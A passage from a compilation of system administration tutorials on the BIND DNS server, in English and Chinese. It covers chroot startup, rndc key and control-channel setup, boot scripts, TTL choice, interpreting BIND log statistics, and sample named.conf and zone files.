# Note: the path given to the "-c" parameter is relative
# to the jail's root, not the system root.
#
# Add "-n2" if you have multiple CPUs
#
# usage: named [-c conffile] [-d debuglevel] [-f|-g] [-n number_of_cpus]
# [-p port] [-s] [-t chrootdir] [-u username]
cd /chroot/named
# make sure the debugging-output file is writable by named
touch named.run
chown named.named named.run
chmod ug=rw,o=r named.run
PATH=/usr/local/sbin:$PATH named \
-t /chroot/named \
-u named \
-c /etc/named.conf
--------------------------------------------------------------------------------
and made executable with chmod a+x /chroot/named.start. We will never start the nameserver with just a "named" command - we must use the script. So let's do so:
# sh /chroot/named.start
If all is well, the nameserver will start running quietly, and the ps -fCnamed command may show it running in the background. It should now be ready to accept nameserver requests, and we can test it with the dig command. Though we'll need to modify the file /etc/resolv.conf to contain the local machine's address,
Daemon control with rndc
Very old BIND nameservers relied on UNIX signals to control their behavior, and this has always been a lousy mechanism. BIND 8 introduced a ndc command that communicated over a control channel (a UNIX domain socket), but BIND 9 is now doing this via a TCP socket. This allows for remote operation (say, reloading it) of the nameserver. The old ndc command is gone, replaced with rndc, though not all of the commands are implmented yet.
Configuring rndc is a little tricky: BIND supports substantial functionality that involves the use of keys, and rndc uses just a small part of it. This is aggravated by the fact that getting even a little bit of this wrong will cause the mechanism to fail without meaningful diagnostics. It's been very frustrating.
The rndc command reads the file /usr/local/etc/rndc.conf for its configuration data, but we prefer to locate this file under our chroot area to keep an eye on the permissions and ownership. We'll create a link between the two shortly, but we prefer to build the file first.
--------------------------------------------------------------------------------
#
# /chroot/named/etc/rndc.conf
#
options {
default-server 127.0.0.1;
default-key "rndckey";
};
server 127.0.0.1 {
key "rndckey";
};
key "rndckey" {
algorithm "hmac-md5";
secret "secret key here";
};
--------------------------------------------------------------------------------
As with named.conf, the format is very peculiar and requires that all the semicolons go in the right places. In this file, the token "rndckey" is just the name of this key (as opposed to those keys required for other purposes), and any word could be used as long as they all agree in this file.
The variable part is the "secret", which is a long string of base-64-encoded data, and the BIND distribution provides a mechanism for creating one of these keys. The dnssec-keygen is used for generating multiple kinds of keys, and in our case we just care about generating one of them. We'll create the key into a file, then copy that key to our config file:
# cd /chroot/named/etc
# /usr/local/sbin/dnssec-keygen -a HMAC-MD5 -b 256 -n HOST rndc
Krndc.+157+13856
# cat Krndc.+157+13856.private
Private-key-format: v1.2
Algorithm: 157 (HMAC_MD5)
Key: hU9utBAdP6/dVKKfxOlv0bPOTnAd4A1qosMbs/dwVJI=
...
# rm Krndc.+157+13856.* after key has been saved
Odd note: we've seen the dnssec-keygen program simply hang for long periods of time on even very fast machines, and upon investigation found that there was no available random numbers from the /dev/random device (!). Apparently the system collects "randomness" into a pool, and when it's depleted for whatever reason, it waits for more to show up. To get around this, add the -r /dev/urandom option to the command line just before the -a option: this pulls from a different device that won't block on depleted entropy.
The Krndc.+157+13856 is the name of the key, and we don't believe that any part of this name is interesting to us. The key itself is created into output filenames based on the key name: kname.key and kname.private. We see above the contents of the private key file, and the key itself is hU9utBAdP6/dVKKfxOlv0bPOTnAd4A1qosMbs/dwVJI=. This data must be inserted into the rndc.conf file:
...
key "rndckey" {
algorithm "hmac-md5";
secret "hU9utBAdP6/dVKKfxOlv0bPOTnAd4A1qosMbs/dwVJI=";
};
Now the rndc.conf file is created, the "key" files created by dnssec-keygen can be deleted. We also wish to make this config file visible to the rndc program directly: it's looking in /usr/local/etc/rndc.conf for its configuration information. To do this, we perform a symbolic link:
# ln -s /chroot/named/etc/rndc.conf /usr/local/etc/rndc.conf
# ln -s /chroot/named/etc/rndc.conf /etc/rndc.conf
Note that we also have /etc/rndc.conf point to the real file: this is simply as a convenience for the administrator who has to edit this file often - it's easier to type.
Now, the nameserver itself must be configured to listen on a control channel and use this particular key. In the same /chroot/named/etc directory, we reconsider the named.conf file: We must add two sections to the beginning of this file. We add a controls section that describes the network addresses that named will listen on, and a key section describes the key it will use. Copy the secret key from above into the file in the obvious place:
--------------------------------------------------------------------------------
controls {
inet 127.0.0.1 allow { 127.0.0.1; } keys { rndckey; };
};
key "rndckey" {
algorithm "hmac-md5";
secret "hU9utBAdP6/dVKKfxOlv0bPOTnAd4A1qosMbs/dwVJI=";
};
...
--------------------------------------------------------------------------------
Note - previous versions of this document have suggested that the actual key name doesn't matter, but this has proven to be false. Once a key has a name, everybody has to agree on what that name is or things will fail outright.
The controls and key sections must be first in the file: we're not sure why it's a rule, but we're sure it is a rule.
This configuration tells named to listen only on the localhost interface, and as such won't accept any connections from the rest of the network. This is a useful security precaution, though it's possible to "open" the nameserver to accept connections from trusted others. Both of these config files contain these important private keys, so they must not be readable to nonprivileged users.
Now that the keys and controls have been set up properly, it's necessary to kick the nameserver to force it to reread the file. Simply send a SIGHUP (a -1) to the nameserver
# ps -fCnamed
UID PID PPID C STIME TTY TIME CMD
named 12527 1 0 12:42 ? 00:00:00 named -t /chroot/named {...}
# kill -1 12527 12527 is process ID
Now the nameserver should have reread the configuration files and started listening on the control interface. Now let's try rndc:
# /usr/local/sbin/rndc status
number of zones: 2
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF
server is up and running
This indicates that all is well: the keys are correct. But a common error seen from a bad configuration is
rndc: send remote authenticator: permission denied
This is often the only diagnostics seen, and it means you have to doublecheck your configuration files. We're sorry that we can't offer much more useful guidance on this front. We'll add notes as we find them.
Starting named at boot time
Now that named is running correctly after being started "by hand", we usually wish for it to start automatically at boot time. The mechanism for this depends somewhat on the particular operating system, but we can give some overall guidelines. Automatic starting at boot time requires a base "init" file plus a couple of symbolic links.
The "base" startup file a small shell script that can start or stop the nameserver, and our version looks like
--------------------------------------------------------------------------------
#!/bin/sh
#
# named
#
export PATH=/usr/local/sbin:$PATH # needed for rndc
case "$1" in
start)
# Start daemons.
echo -n "Starting named: "
sh /chroot/named.start
echo
;;
stop)
# Stop daemons.
echo -n "Shutting down named: "
rndc stop
echo "done"
;;
esac
exit 0
--------------------------------------------------------------------------------
We only support start and stop commands, and this has been more than good enough for us: those wanting a more "full featured" control file are welcome to be adventurous. Be sure to make the file executable: chmod a+x named.
Once the startup script is in place, we have to make some symbolic links to make it start in the appropriate runlevels. The filenames are modified from the "base" name to account for the order in which things are started: we want the nameserver to start just after the IP subsystem has started because so many of the other daemons depend on nameservice.
Locating this init file depends on the operating system, and we'll make notes in this table as we learn about them.
Operating System startup script runlevel 2 file runlevel 3 file
Red Hat Linux 6.X / 7.X /etc/rc.d/init.d/named /etc/rc.d/rc2.d/S11named /etc/rc.d/rc3.d/S11named
Debian "Woody" /etc/init.d/named /etc/rc2.d/S18named /etc/rc3.d/S18named
To create the "rc" files, we use symbolic links. This sample is for the Red Hat Linux organization, and it can be altered for your operating system. We also believe that other runlevels are used for things like X11 windowing, but we don't ever use them. Your mileage may vary.
# cd /etc/rc.d
# ln -s ../init.d/named rc2.d/S11named
# ln -s ../init.d/named rc3.d/S11named
We recommend rebooting the system once to be sure that the nameserver starts properly on an automatic basis: it's very frustrating to have a power outage (say) three months from now and find out that DNS is not available: better to test this while your mind is thinking about nameservice.
Adding local slave zones
(to be determined)
Adding local master zones
(to be determined)
Remote RNDC
The nameserver as installed only accepts rndc requests from the local system, but it's possible to do so over the network with a few changes in the config file.
The change is made in the named.conf file, and we add an entry to the controls section. The addition is made here in bold:
controls {
inet 127.0.0.1 allow { 127.0.0.1; } keys { rndckey; };
inet 192.168.1.31 allow { 127.0.0.1; # localhost
192.168.1.0/24; # local Ethernet
10.1.2.0/24; # network at home
172.27.217.6; # our consultant
} keys { rndckey; };
};
...
The first inet line requests that named listed on the localhost interface only, but the second requests that it listen on the computer's public Ethernet address (here, 192.168.1.31). The access control lines limit the connections to addresses in the given list, and we can include as many as desired in either single IP address notation or /nbits netbits notation. Be careful to put semicolons in all places that matter - it's easy to get wrong.
Now the config files must be reread: but if we're adding a new interface to listen on, we have to fully stop and restart the daemon. Since we've configured it to run as a non-root user, it's simply not able to bind to the privileged port (953/tcp) on the additional interface. So we must stop and restart.
Now to the remote machine.
On some other machine that's in the access list of the nameserver to be controlled, we must modify rndc.conf to add the keys. We presume here that the rndc.conf file will be controlling the local machine as well as the remote ones, so we'll be adding to the file, not modifying it.
#
# /chroot/named/etc/rndc.conf
#
options {
default-server 127.0.0.1;
default-key "rndckey";
};
server 127.0.0.1 {
key "rndckey";
};
key "rndckey" {
algorithm "hmac-md5";
secret "hU9utBAdP6/dVKKfxOlv0bPOTnAd4A1qosMbs/dwVJI=";
};
server remote.example.com {
key "remotekey";
};
key "remotekey" {
algorithm "hmac-md5";
secret "4TT2RNenA3JyHJAVHvWQTzgOo8GzqHowHUdB2i95peM=";
};
NOTE: we use 127.0.0.1 instead of localhost above because the latter requires name resolution and the former doesn't. We've seen cases where we messed up the "localhost" resource record and caused rndc to stop working. This obviates that problem.
Here, the entry for the remote computer includes a definition of the key used by that remote, and it's clearly different than the key used for the local one.
To control the remote nameserver, we use rndc with the -s servername parameter:
# rndc -s remote.example.com status
number of zones: 13
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF
server is up and running
We're able to stop and reload the remote server, but there is no way to restart it via this mechanism. Be careful that you don't get surprised.
Views / Split DNS
It's possible to run BIND 9 in a "split DNS" configuration, where the nameserver will give different answers to the same question depending on who's doing the asking. This is mainly useful for sites that run private networks inside with a limited public footprint on the outside.
We've only barely touched the whole "view" thing and can't offer any real advice in configuration, but we did run into one maddening problem regarding rndc that we'll touch on here.
When configuration changes have been made to the zone or config files, one normally can do rndc reload to load them all, but it's also possible to reload just one zone: this can be useful for very busy systems.
But when views are used, it fails in a very unhelpful way;
# rndc reload unixwiz.net
rndc: 'reload' failed: not found
After fooling around with it for a while we realized that the command requires additional parameters: the class and view names. So we figured out that it's done this way:
# rndc reload unixwiz.net IN external
This requests the "internet" ( IN ) class and the external view: apparently these are not the defaults. We suspect that there are ways around this (say, by naming the view something else), but we very much think that the message from rndc was not very helpful. We might look into some patches to the 9.2.0 source to expand on this to provide a bit more feedback. It was very frustrating.
Files created by "make install"
One of the really ugly problems with previous versions of BIND is that the various important files got scattered all over the filesystem, and the locations varied by platform as determined by the operating system vendor. It was just a nightmare to configure a chroot nameserver for a new platform.
BIND 9 makes this dramatically easier because they have decided to put everything under one place (usually /usr/local/), but there are enough files installed that it can be a bit overwhelming to know just what you need.
This is a list of files that were installed by our own configuration of BIND 9, and it might help you decide what you need to take for a binary-only distribution. Note that this was as of an early BIND 9 installation: we've not updated this since we have upgraded our own installation.
Porting Issues
SCO UNIX 3.2v5.0.5 (OpenServer 5)
We've had all kinds of trouble building BIND 9.2.1 on SCO Open Server wtih gcc 2.7.2.2, though we think we've gotten around it. We have had zero luck with the stock C compiler (no "long long" support). Note for this platform can be found here.
Solaris
So that file-based logfiles have the correct time zone (as opposed to GMT), insure that the jail contains copies of the time-zone definition files found in /usr/share/lib/zoneinfo/US/*. They probably should be owned by root and be unwritable by all.
Solaris and *BSD use a colon instead of a dot between the user name and the group name in the chown command. *BSD uses wheel as the main root group, and Solaris uses other.
How to set TTL of DNS
如何设置生存时间（TTL）最好？
什么是TTL值？
TTL值全称是“生存时间（Time To Live)”，简单的说它表示DNS记录在DNS服务器上缓存时间。要理解TTL值，请先看下面的一个例子：
有这样一个域名MYHOST.SHARELLA.COM（其实，这就是一条DNS记录，通常表示在SHARELLA.COM域中有一台名为MYHOST的主机）对应IP地址为1.1.1.1，它的TTL为10分钟。这个域名或称这条记录存储在一台名为DNS.SHARELLA.COM的DNS服务器上。
现在有一个用户在浏览器中键入一下地址（又称URL）：HTTP://MYHOST.SHARELLA.COM 这时会发生社么呢？
该访问者指定的DNS服务器（或是他的ISP,互联网服务商, 动态分配给他的)8.8.8.8就会试图为他解释MYHOST.SHARELLA.COM，当然8.8.8.8这台DNS服务器由于没有包含MYHOST.SHARELLA.COM这条信息，因此无法立即解析，但是通过全球DNS的递归查询后，最终定位到DNS.SHARELLA.COM这台DNS服务器，DNS.SHARELLA.COM这台DNS服务器将MYHOST.SHARELLA.COM对应的IP地址1.1.1.1告诉8.8.8.8这台DNS服务器，然有再由8.8.8.8告诉用户结果。8.8.8.8为了以后加快对MYHOST.SHARELLA.COM这条记录的解析，就将刚才的1.1.1.1结果保留一段时间，这就是TTL时间，在这段时间内如果用户又有对MYHOST.SHARELLA.COM这条记录的解析请求，它就直接告诉用户1.1.1.1，当TTL到期则又会重复上面的过程。
动态主机用户的IP地址的多变性就决定了大的TTL值是不合适的，试想当用户的IP地址变化时全球的DNS服务器由于TTL没有到期而继续使用旧的IP地址就会产生解析错误了。
因此，我们建议您将TTL值设置为1分钟，但如果您的IP地址是固定的或长时间不断线，那么较长的TTL比较好，因为这样会加快解析速度。
探查DNS服务器运行状况
在Linux环境下，也提供了广泛流行的BIND服务器，它是构建DNS服务器最常用的服务器软件。
介绍BIND的安装的文章现在很多，现在我们就一起来谈一下维护的话题。我们如何才能够了解DNS
服务器的运行情况下呢，它忙不忙、负载大不大？这一切，对于系统管理员而言，是比较重要的。
想了解DNS服务器的运行状况，可以通过查看DNS服务器在运行时所产生的日志文件来实现。
BIND 8提供了一些控制日志系统的手段，不过呢，缺省状态所生成的日志已经够用了，通过
这些日志信息，足以了解DNS服务器现在的运行状况了。
在缺省情况下，BIND是通过syslog来生成日志的，存放在/var/log/message文件中。
注：与之相关的还有以下四个文件：
/var/log/message.1
/var/log/message.2
/var/log/message.3
/var/log/message.4
其实是将日志分为了5个文件来存储，防止文件过大，当message文件够大后，就变成了
message.1，原来的message.1就成了message.2……，message.4的内容就消失了。
由于这个文件中的日志信息是syslog生成的，所以不并是全都是关于BIND的日志信息。我们
执行以下命令，将所有BIND的日志信息挑选出来：
more /var/log/message|grep named >/tmp/named.log
注：BIND服务器的进程名是named。
这样，/var/log/message中与BIND相关的日志信息都会写入/tmp/named.log文件中了。
最主要的日志有两种：LOG_NOTICE，LOG_INFO级的日志。
一、 LOG_NOTICE级日志
1.每次启动BIND服务器named时，会生成一个如下所示的LOG_NOTICE级日志信息：
Nov 28 10:37:45 www named[10134]: starting. named 8.2.2-P3
其中:
Nov 28 10:37:45 表示服务器启动时间
www 显示DNS服务器所在机器名
named[10134]： 显示DNS服务器进程名与进程ID
starting. 表示正在启动DNS服务器
named 8.2.2-p3 显示BIND软件版本
2.当给DNS服务器发送一个HUP信号，使DNS服务器重启时，会生成一个如下所示的LOG_NOTICE级日志信息：
Nov 28 10:37:45 www named[10134]: reloading nameserver
其中:
Nov 28 10:37:45 表示服务器重启动时间
www 显示DNS服务器所在机器名
named[10134]： 显示DNS服务器进程名与进程ID
reloading. 表示正在重新启动DNS服务器
nameserver 显示正在重启的服务器名
二、LOG_INFO级日志
在DNS服务器运行时，每隔一小时会生成一组如下所示的LOG_INFO级日志信息，反馈DNS
服务器的运行状态：
Dec 26 10:23:52 www named[1033]: Cleaned cache of 26 RRset
Dec 26 10:23:52 www named[1033]: USAGE 977797432 976760631 CPU=6.55u/6.24s CHILD CPU=0u/0s
Dec 26 10:23:52 www named[1033]: NSTATS 977797432 976760631 0=2 A=13192
CNAME=321 PTR=11204 MX=1173 TXT=4 AAAA=32 ANY=4956
Dec 26 10:23:52 www named[1033]: XSTATS 977797432 976760631 RR=7629 RNXD=1368
RFwdR=4836 RDupR=51 RFail=159 RFErr=0 RErr=12 RAXFR=0 RLame=175 ROpts=0
SSysQ=2082 SAns=26234 SFwdQ=4520 SDupQ=1263 SErr=0 RQ=30889 RIQ=4 RFwdQ=0
RDupQ=259 RTCP=2 SFwdR=4836 SFail=6 SFErr=0 SNaAns=21753 SNXD=10276
下面我们就逐句解读一下：
1. Dec 26 10:23:52 www named[1033]: Cleaned cache of 26 RRset
这是每一组日志信息的第一行，表示正在清空Cache。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
Cleaned cache of 26 RRset 表示正在清除cache
2. Dec 26 10:23:52 www named[1033]: USAGE 977797432 976760631 CPU=6.55u
/6.24s CHILD CPU=0u/0s
这一行是USAGE行，用于统计DNS服务器占用的CPU时间。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
USAGE 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
CPU=6.55u/6.24s 代表DNS服务器使用了用户态6.55秒，系统态6.24秒（u代表user，
s代表system），
CHILD CPU 代表DNS服务器子进程的CPU占用情况。
3. Dec 26 10:23:52 www named[1033]: NSTATS 977797432 976760631 0=2 A=13192
CNAME=321 PTR=11204 MX=1173 TXT=4 AAAA=32 ANY=4956
这一行是NSTATS行，用于统计接收到的查询总数
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
NSTATS 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
0=2 代表未知类型的DNS查询2个
A=13192 代表A类地址查询13192个（最标准）
CNAME=321 代表CNAME类地址查询321个（一般是有些版本的sendmail使用CNAME程序
规范化邮件地址而发出的，还有就是dig或nslookup发出的）
PTR=11204 代表指针查询11204个（许多软件通过这种方法来查找IP地址）
MX=1173 代表邮件交换器的查询1173个（是由邮件发送程序发起的）
TXT=4 代表应用程序进行的文本查询共有4个
AAAA=32 代表AAAA类查询32个
ANY=4956 有些Sendmail使用的地址查询方式，共4956个
注：还有可能有：
NS=xx 代表名字服务器查询（例如：名字服务器试图查找根域的服务器）
SOA=xx 代表辅助DNS更新
HINFO=xx 主机信息查询
NSAP=xx 将域名映射成OSI网络服务访问点地址
AXFR=xx 辅助DNS的区传送
这些在本例中并未出现。
4. Dec 26 10:23:52 www named[1033]: XSTATS 977797432 976760631 RR=7629 RNXD=1368
RFwdR=4836 RDupR=51 RFail=159 RFErr=0 RErr=12 RAXFR=0 RLame=175 ROpts=0 SSysQ=2082
SAns=26234 SFwdQ=4520 SDupQ=1263 SErr=0 RQ=30889 RIQ=4 RFwdQ=0
RDupQ=259 RTCP=2
SFwdR=4836 SFail=6 SFErr=0 SNaAns=21753 SNXD=10276
这是XSTATS行，它用于统计其它一些数据。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
NSTATS 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
RR=7629 代表收到其它主机的响应共有7629个（DNS向其它机器或进程发出的查询得到
的响应数、与RQ无关）
RNXD=1368 代表收到“没有这样的域”回答共有1368个
RFwdR=108 收到对原始查询的响应为108个
RDupR=51 重复响应51个（当DNS在它悬而未决的查询列表中，找不到引起该响应的原始
查询时，这个响应就是重复响应）
RFail=159 收到SERVFAIL（远程服务器错误）159个
RFErr=0 没有收到FORMERR（远程名字服务器认为本地名字服务器的查询有格式错误）
Rerr=12 收到除了SERVFAIL、FORMERR以外的错误12个
RAXFR=0 共有0次区传送
RLame=175 收到175个坏授权（意味着有的区被授权给其它名字服务器，而这个名字服务
器不是这个区的权威）
ROpts=0 共收到带有IP选项的包的个数为0
SSysQ=2082 共发出系统查询2082个（系统查询是由本地名字服务器进行的查询。大多数
都是针对根名字服务器的）
SAns=26234 共回答了查询26234个
SFwdQ=4520 不在这个名字服务器，而转发共4520个
SDupQ=1263 重复查询数1263个
SErr=0 发出的非SERVFAIL、FORMERR的错误总数
RQ=30889 收到的查询共有30889个
RIQ=4 收到反向查询4个（反向查询是为了将地址映射为名字，现在这个功能被 PTR实
现了。较早的nslookup才使用这种查询）
RFwdQ=0 没有需要进一步处理的查询
RDupQ=259 重复查询共有259个
RTCP=2 通过TCP连接收到2个查询（一般使用UDP）
SFwdR=4836 来自其它名字服务器转发的响应4836个
SFail=6 发出被认为SERVFAIL响应共6个
SFErr=0 发出的被认为FORMERR的响应个数
SNaAns=21753 非权威回答共21753
SNXD=10276 发出没有这个域回答10276个
这些统计数据都是从DNS开启后到现在的总统计，而非本小时内的统计数字。如何衡量
DNS服务器的负载呢？很简单，将总查询数除以DNS运行的总时间，不就知道了吗？在本例中：
DNS服务器已运行了： 977797432-976760631=1036801秒=288小时
注：从第2、3、4行都可以得到
而总查询请求有： 2+13192+321+11204+1173+4+32+4956=20884次
注：从第2行都可以得到
也就是每小时107次查询请求，每秒不到2次，可见负载还是比较小的。
文章属性：转载
文章来源：http://www.linuxaid.com.cn/ fjxufeng
文章提交：quack (quack_at_xfocus.org)
全面地理解DNS－BIND安装与配置
一.、Bind 简介。
Bind是一款开放源码的DNS服务器软件，Bind由美国加州大学Berkeley分校开发和维护的，全名为Berkeley Internet Name Domain它是目前世界上使用最为广泛的DNS服务器软件，支持各种unix平台和windows平台。本文将介绍它在Red hat Linux 9中最基本的安装和配置。
二.、软件的相关资源。
官方网站：http://www.bind.com/
源码软件包：Bind 是开源的软件，可以去其官方网站下载。http://www.isc.org/index.pl/sw/bind/ ，目前最新版本为bind-9.3.1。
帮助文档：http://www.isc.org/index.pl/sw/bind/ 有该软件比较全面的帮助文档。
FAQ：http://www.isc.org/index.pl/sw/bind/ 回答了该软件的常见问题。
配置文件样例：http://www.bind.com/bind.html 一些比较标准的配置文件样例。
三.、软件的安装。
1.安装
由其官方网站中下载其源码软件包bind-9.3.1. tar.gz。接下来我将对安装过程的一些重要步骤，给出其解释：
[root@localhost root]#tar xzvf bind-9.3.1. tar.gz
[root@localhost root]#cd bind-9.3.1
[root@localhost bind-9.3.1]#./configure
[root@localhost bind-9.3.1]#make
[root@localhost bind-9.3.1]#make install
tar xzvf bind-9.3.1.tar.gz 解压缩软件包。
./configure 针对机器作安装的检查和设置，大部分的工作是由机器自动完成的，但是用户可以通过一些参数来完成一定的设置，其常用选项有：
./configure --help 察看参数设置帮助。
--prefix= 指定软件安装目录（默认/usr/local/）。
--enable-ipv6 支持ipv6。
可以设置的参数很多，可以通过 -help察看需要的，一般情况下，默认设置就可以了。
默认情况下，安装过程是不会建立配置文件和一些默认的域名解析的，不过并不妨碍，可以从下载一些标准的配置文件（http://www.bind.com/bind.html），也可以使用本文所提供的样例文件。
默认情况下，安装的deamon为/usr/local/sbin/named
默认的主配置文件，/etc/named.conf（须手动建立）。
2.启动：
[root@localhost root]# /usr/local/sbin/named -g
/usr/local/sbin/named默认情况是一个后台deamon ,-g选项表示前台运行，并将调试信息打印到标准输出，这在我们安装调试阶段是非常有帮助的。
如果建立了配置文件和域名解析文件（关于怎样建立将在下面的部分讲到），ps aux 应该可以查到named 的进程，或netstat -an 也可以看到53端口的服务已经起来了。（DNS默认端口为53）
如果要设置开机自启动DNS server，只需在/etc/rc.d/rc.local中加入一行
/usr/local/sbin/named
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
/usr/local/sbin/named
四.软件的配置。
1.主配置文件
默认安装主配置文件的位置为
/etc/named.conf
下面逐步分析一个比较基础的配置文件：（注：named配置文件采用和c语言相同的注释符号）。
(1) log options
/*
* log option
*/
logging {
channel default_syslog { syslog local2; severity error; };
channel audit_log { file "/var/log/named.log"; severity error; print-time yes; };
category default { default_syslog; };
category general { default_syslog; };
category security { audit_log; default_syslog; };
category config { default_syslog; };
category resolver { audit_log; };
category xfer-in { audit_log; };
category xfer-out { audit_log; };
category notify { audit_log; };
category client { audit_log; };
category network { audit_log; };
category update { audit_log; };
category queries { audit_log; };
category lame-servers { audit_log; };
};
这一部分是日志的设置，其中最主要的是
file "/var/log/named.log" 这一句指定了日志文件的位置，要正常启动named，必须要保证这一文件是存在的，并且named 进程对它有读写权限。
(2) options
options {
directory "/etc/namedb";
listen-on-v6 { any; };
// If you've got a DNS server around at your upstream provider, enter
// its IP address here, and enable the line below. This will make you
// benefit from its cache, thus reduce overall DNS traffic in the Internet.
forwarders {
your.upper.DNS.address;
};
/*
* If there is a firewall between you and nameservers you want
* to talk to, you might need to uncomment the query-source
* directive below. Previous versions of BIND always asked
* questions using port 53, but BIND 8.1 uses an unprivileged
* port by default.
*/
// query-source address * port 53;
/*
* If running in a sandbox, you may have to specify a different
* location for the dumpfile.
*/
dump-file "/etc/named_dump.db";
};
这一部分是一些基本的配置项：
directory "/etc/namedb"; 指定域名解析等文件的存放目录（须手动建立）；
listen-on-v6 { any; }; 支持ipv6的请求；
forwarders {
your.upper.DNS.address;
}; 指定前向DNS，当本机无法解析的域名，就会被转发至前向DNS进行解析。
dump-file "/etc/named_dump.db"; 指定named_dump.db文件的位置。
(3) 线索域和回环域
// Setting up secondaries is way easier and the rough picture for this
// is explained below.
//
// If you enable a local name server, don't forget to enter 127.0.0.1
// into your /etc/resolv.conf so this server will be queried first.
// Also, make sure to enable it in /etc/rc.conf.
zone "." {
type hint;
file "named.root";
};
zone "0.0.127.IN-ADDR.ARPA" {
type master;
file "localhost.rev";
};
指定线索域和本地回环域，这一部分使用一些标准的例子就可以。
file "named.root"; 指定该域的解析文件，其目录为options中directory "/etc/namedb";指定的。在本例中为/etc/namdb。
(4)自定义域
zone "test.com" {
type master;
file "zone.test ";
};
zone "0.168.192.in-addr.arpa" {
type master;
file "zone. test.rev";
};
zone "4.0.0.f.0.5.2.0.1.0.0.2.IP6.ARPA" {
type master;
allow-transfer { any;};
allow-query { any; };
file "ipv6.rev";
};
zone "lowerlevelzone.test.com" {
type slave;
masters {
192.168.1.1;
};
};
这一部分是配置文件中我们需要重点关心的部分：
zone "test.com" {
type master;
file "zone.test ";
}; 设定test.com域;
type master 指明该域主要由本机解析;
file "zone.test "指定其解析文件为zong.test，目录为options中设定的目录本例中为/etc/named。
zone "0.168.192.in-addr.arpa" {
type master;
file "zone. test.rev";
}; 指定ipv4地址逆向解析
type master 指明该域主要由本机解析;
file "zone.test.rev "指定其解析文件为zong.test.rev，目录为options中设定的目录本例中为/etc/named。
zone "4.0.0.f.0.5.2.0.1.0.0.2.IP6.ARPA" {
type master;
allow-transfer { any;};
allow-query { any; };
file "ipv6.rev";
};指定ipv4地址逆向解析
type master 指明该域主要由本机解析;
file " ipv6.rev "指定其解析文件为ipv6.rev，目录为options中设定的目录本例中为/etc/named。
zone "lowerlevelzone.test.com" {
type slave;
masters {
192.168.1.1;
};
}; 设定lowerlevelzone.test.com域;
type slave 指明该域主要由低一级的域名服务器解析;
masters {
192.168.1.1;
}; 指定低一级的域名服务器ip地址。
到此我们就初步建立了一个标准的named 的主配置文件，接下来建立对应的域名解析或逆向解析文件。
2.域名解析和IP地址逆向解析文件：
(1) 域名解析：
/etc/namedb/zone.test
; From: @(#)localhost.rev 5.1 (Berkeley) 6/30/90
; $FreeBSD: src/etc/namedb/PROTO.localhost.rev,v 1.6 2000/01/10 15:31:40 peter Exp $
;
; This file is automatically edited by the `make-localhost' script in
; the /etc/namedb directory.
;
@ IN SOA ns.test.com. root.test.com.(
2005030116; Serial
3600 ; Refresh
900 ; Retry
3600000 ; Expire
3600 ) ; Minimum
IN NS ns.test.com
;
ns IN A 192.168.0.1
www6 IN AAAA 2001:250:f004::10
www IN A 192.168.0.2
本文件前半部分是一些默认的参数设置，只需把域名改成对应得你要设置的域就行，其余的不用过分深究，如果读者有兴趣可以查阅相关的手册文档。
（注意，
IN NS ns.test.com;
这一条必须有，来指定本域的域名服务器 ；
域名必须以"."结尾。）
本文件的第二部分（倒数三行），指定了该域上的主机：
ns IN A 192.168.0.1
ns 为主机名，A 代表地址类型为IPV4地址，192.168.0.1 是实际ip地址，这一条记录的含义是ns.test.com 的ip地址为 192.168.0.1
www6 IN AAAA 2001:250:f004::10
www6 为主机名，AAAA代表地址类型为IPV6地址，2001:250:f004::10 是其IPV6地址，这条记录的含义是www6.test.com 的ip地址是2001:250:f004::10 。
(2)IP地址逆向解析：
ipv4 逆向解析：
/etc/namedb/zone.test.rev
; From: @(#)localhost.rev 5.1 (Berkeley) 6/30/90
; $FreeBSD: src/etc/namedb/PROTO.localhost.rev,v 1.6 2000/01/10 15:31:40 peter Exp $
;
; This file is automatically edited by the `make-localhost' script in
; the /etc/namedb directory.
;
@ IN SOA ns.test.com. root.test.com.(
2005030116; Serial
3600 ; Refresh
900 ; Retry
3600000 ; Expire
3600 ) ; Minimum
IN NS ns.test.com
;
1 IN PTR ns.test.com.
2 IN PTR www.test.com.
ipv6 逆向解析：
/etc/namedb/zone.test.rev
; From: @(#)localhost.rev 5.1 (Berkeley) 6/30/90
; $FreeBSD: src/etc/namedb/PROTO.localhost.rev,v 1.6 2000/01/10 15:31:40 peter Exp $
;
; This file is automatically edited by the `make-localhost' script in
; the /etc/namedb directory.
;
@ IN SOA ns.test.com. root.test.com.(
2005030116; Serial
3600 ; Refresh
900 ; Retry
3600000 ; Expire
3600 ) ; Minimum
IN NS ns.test.com
;
10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 IN www6.test.com.
这里
10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 IN www6.test.com.
与主配置文件/etc/named.conf中的
zone "4.0.0.f.0.5.2.0.1.0.0.2.IP6.ARPA"
"10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0" + "4.0.0.f.0.5.2.0.1.0.0.2" 刚好组成点分的32位16进制逆序ipv6地址。
实际上，ip地址逆向解析由于缺乏统一的管理和相关的标准，这项服务的使用比较混乱，可以考虑不启动该服务。所以在这里只给出两个例子，就不过多解释了。
五.安装使用的一些经验：
1.带调试信息的启动
named -g
/usr/local/sbin/named默认情况是一个后台deamon ,-g选项表示前台运行，并将调试信息打印到标准输出，这在我们安装调试阶段是非常有帮助的。
2.客户端命令nslookup简介
windows ，linux 平台均支持此调试命令。
键入nslookup即进入与服务器交互状态，这时键入域名或ip地址就可以向服务器正向或逆向查询。
>www.test.com 正向域名解析
